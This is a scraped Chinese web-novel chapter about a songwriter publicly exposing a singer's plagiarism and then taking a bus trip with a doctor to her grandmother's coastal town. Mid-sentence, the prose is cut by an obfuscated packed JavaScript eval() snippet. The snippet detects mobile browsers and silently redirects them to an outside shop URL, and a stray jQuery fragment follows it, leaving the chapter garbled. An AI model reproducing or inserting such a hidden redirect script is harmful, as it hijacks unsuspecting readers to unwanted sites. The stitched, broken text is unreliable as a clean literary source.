文趣网 > 都市小说 > 春序迟迟 > 20. 20
    雨势在十几分钟后渐停。

    杭今意哭的时候很安静,肩头轻颤,头埋在谢既则怀里,泪水将他胸口那一小块布料都洇湿。

    他丝毫不介意,低下头朝她贴近,手掌覆在她后脑勺上轻抚,像在无声安慰。

    积压的情绪同眼泪一起流走,哭完一场的杭今意心情平复下来,思绪也缓慢清醒。方才的她迫切需要一个拥抱,这会儿感受到过近距离的接触,却又后知后觉难为情。

    她抬起手背擦了擦眼泪,轻抿着唇,努力思索该说句什么来打破目前的尴尬局面。

    没等她想好,谢既则率先察觉她的动作,见她似乎心情回转,他表情也放松了些,低声问她:“不哭了?”

    语气温柔得像是在哄小孩。

    杭今意人还被他圈在怀里,能感受到他说话时胸腔在轻微震动,更觉不自在。她应了一声,顺势抬起头后退了些,想要从他怀里脱身。

    谢既则手指有意无意在她腰间摩挲了下,松手放开她。

    杭今意退回正常的社交距离,刚哭过的眼眶还泛着红,“不好意思,我刚刚突然就心情不太好……所以才……”

    才说想抱你?

    她实在是讲不出口。

    谢既则却很慷慨体谅:“谁都有情绪不好的时候,想哭就哭,没关系。”

    “现在不难受了?”他又问。

    “嗯。”他给了台阶,杭今意顺着就下,缓过尴尬劲后她才敢直视谢既则,然而刚看了一眼,她就又想把头低回去了。

    谢既则出门时换上了一件白色衬衣,她平视时视线正好落在他胸口附近,于是便清晰看见衬衣某一团的颜色要比其他部分更深些,像是染了水渍。

    回想起两人方才的姿势……

    那是她的眼泪。

    她连忙从包里翻出包纸巾,想要上前替他擦拭,动作到一半又顿觉太过亲昵,拿着纸巾的手最后不上不下地滞在两人之间。

    “抱歉,你衣服被我弄得有点脏了,擦一下吧……”

    谢既则像是这才发觉,低头扫了一眼,从她手里接过纸巾随意擦拭了几下。

    杭今意飞快收回手,转头看了眼窗外,很生硬地转移话题,“雨好像停了,我们快回去吧。”

    说完也不等眼前的人反应,转过身就去开门。在谢既则看不到的地方,她懊恼地闭了闭眼。

    谢既则不自觉低头轻笑了下,三两步追上她,跟在她身后离开。

    -

    到家时已将近十一点。

    杭今意截取了音频视频里最关键的几段发给陈律师,得到他的肯定后,她再次发布微博。因为本就已经毫无体面可言,她编辑文案时也就不再顾虑那么多,把话说得相当直白。

    [@木今:既然@庄彻在此前发布的视频中提及《痛彻》是你本人所写,那请问你为什么这么不熟悉自己创作的作品,在录制过程中屡次错拍忘调?既然@星瀚娱乐声称会起诉网络上的相关言论,那为什么我至今未收到任何律师函?你们是否会起诉追责我并不知道,但我一定会对此次侵权事件追究到底。]

    她上传的视频中庄彻多次露出正脸,经纪人替他向工作人员道歉的话语声也隐约能听见,音频更是清晰到一听就能辨认出是他的声线。

    这回评论区只剩下少有几个粉丝仍在替他辩驳,剩下的全是路人发言。

    [这真的够锤了吧,好奇庄彻后续还能怎么回应]

    [前几天帮博主说了句话被对面粉丝骂了几百条……]

    [笑死我了,这公司见博主是个小透明就仗势欺人,谁曾想呢人家不吃压力硬刚啊]

    [没人注意到视频里庄彻对工作人员态度很差吗,也是小牌大耍上了]

    [@庄彻@星瀚娱乐,我姐问你们呢]

    ……

    事情发酵一整晚,风向压倒性向杭今意这边倾斜,次日一早更是又出现新状况。

    庄彻同公司的一位小艺人出来发声,表示《痛彻》的歌词是她所写,公司当时以征稿为由发给他们歌曲demo,她创作的歌词最终被选上,但歌曲发布后却同杭今意一样在未被告知的情况下被篡改署名。

    而她的情况相对而言更为举步维艰,因为跟公司还剩下五年时间的合约,她甚至不敢拆穿这件事害怕得罪公司,直到昨晚看见杭今意的发言,她才也鼓起勇气出来说出真相。

    网上瞬间一片哗然,关于庄彻的舆论愈演愈烈,讨论声还从这一件事上升到了近年来的创作侵权乱象上。

    到了下午,一则关于庄彻嗜赌成性的新闻蹿上热搜榜首,爆料博文连发好几条视频为证,这下更是将庄彻彻底捶死在坑底。

    看到这条热搜时杭今意正吃着谢既则买回来的栗子蛋糕,她有些讶异,短短一天内竟然发生这么多事,尤其是最后那则跟这次事件并不相关的爆料,早不出晚不出偏偏是今天,有点太凑巧了。

    她咽下嘴里的奶油,目光看向不远处的人,忽然福至心灵。

    “……是你吗?”

    她这话问得不明不白的,但谢既则知道她在说什么,很坦然地“嗯”了一声。

    “不是说过了吗,恶有恶报,他们那么喜欢用舆论压人,那就让他们也感受下。”

    话里内容分明极具分量,他语气却相当淡定,像是随手做了件小事而已。

    杭今意知道,他是在替自己出恶气。

    罪有应得,确实还挺解气的。

    她神游的这片刻,谢既则走到她面前,忽然说:“今意,我们过两天一起回桐港看看外婆?”

    杭今意一怔,回想起昨晚在录音室的那段交谈,她知道这大概是他这样提议的原因。

    当时情况本就乌龙,她解释:“不用的,我昨天并不完全是因为外婆的事哭……只是那会儿压力太大了,又正好聊到伤感的话题,现在已经好多了。”

    假期只剩下最后一天,谢既则很快又要回医院上班。杭今意知道他其实一直很忙,包括放假这几天也都还在处理医院的事,期间还

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17602815|205264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    抽空陪着她解决了这次的问题。

    “你们医院最近那么忙,不用特地迁就我,等之后有空了再回桐港也可以。”她说。

    谢既则却只提取了她话里的几个词,有理有据说服她:“正因为压力大,才需要回去玩几天放松放松心情,我最近正好也打算休个长假,完全不用处理工作那种。”

    “所以你就陪我一起休个假吧,说好了?”

    他说这话时低头看着她,平日里冷冽的眉眼带着淡淡的笑意,语气轻快,尾音略微上扬。

    听着怪像是在……撒娇。

    话都说到这个份上,她最后也就答应了下来。

    -

    五六号节假日复工返程的人多,两人为了避开人流,特意买了七号上午的机票。

    桐港是座沿海小城,面积相较南临要小很多,但风景秀丽气候宜人,当地旅游业兴盛。外婆家靠近最西南一方,因此出了机场还要再转一趟大巴才能抵达。

    杭今意往返于两座城市间无数次,她轻车熟路地带谢既则上了大巴车,不太好意思地开口:“有一点远,差不多还要坐两小时的车。”

    午后天气正好,远处的海面泛着金灿灿的日光,咸湿的海风卷过来,车边窗帘被吹得鼓起,杭今意的发丝也被吹乱。谢既则不知是看着窗外还是看着她,回答:“没关系,正好能看看这边的风景,很漂亮。”

    前半程谢既则确实是在欣赏沿途风景,杭今意自认算半个本地人,很主动地替他讲解起途经的地段。路过一个很有名的港口时,她正要继续同他介绍,一转头却发现他闭着眼睡着了。

    大概是昨晚没休息好。

    他头后靠在椅背,微微绷着的侧脸轮廓显得愈发分明,长而细密的眼睫垂着,时不时地轻皱一下眉,看上去睡得不太安稳。

    她不自觉地盯着他看了好一会儿,噤了声没再打扰他,随即又侧过身轻手轻脚关上一点车窗,将呼啸的风声也隔绝在外。

    这班车的乘客不多,放眼望去许多位置都空落落的,车上只听得见偶尔传来的几声鸣笛声响。车程漫长,没人说话的她忽然觉得很无聊。

    明明之前每次回家都是这样度过的,那时的她从不觉得有什么。

    杭今意深吸几口气,抛掉脑海里杂乱的思绪,连上耳机放了会儿歌听。

    她点开一个歌单,习惯性地选择随机播放,几首歌过去,耳边响起一首轻缓缱绻的英文歌。

    歌词唱到“Atthismoment,youarebymyside”时,她肩头忽地一沉。

    身旁熟睡的人靠上了她的左肩。

    风还在吹,窗帘一下下起伏,洒进来的阳光也变得断断续续,他的侧脸在光里忽明忽暗。

    杭今意霎时屏住了呼吸,整个人僵住,好半天都没有动弹。

    一直到几分钟的歌曲播放结束,在最后一声钢琴音后,耳边陷入了短暂的寂静。

    恰在这一刻,谢既则缓慢睁开双眼,对上了她的目光。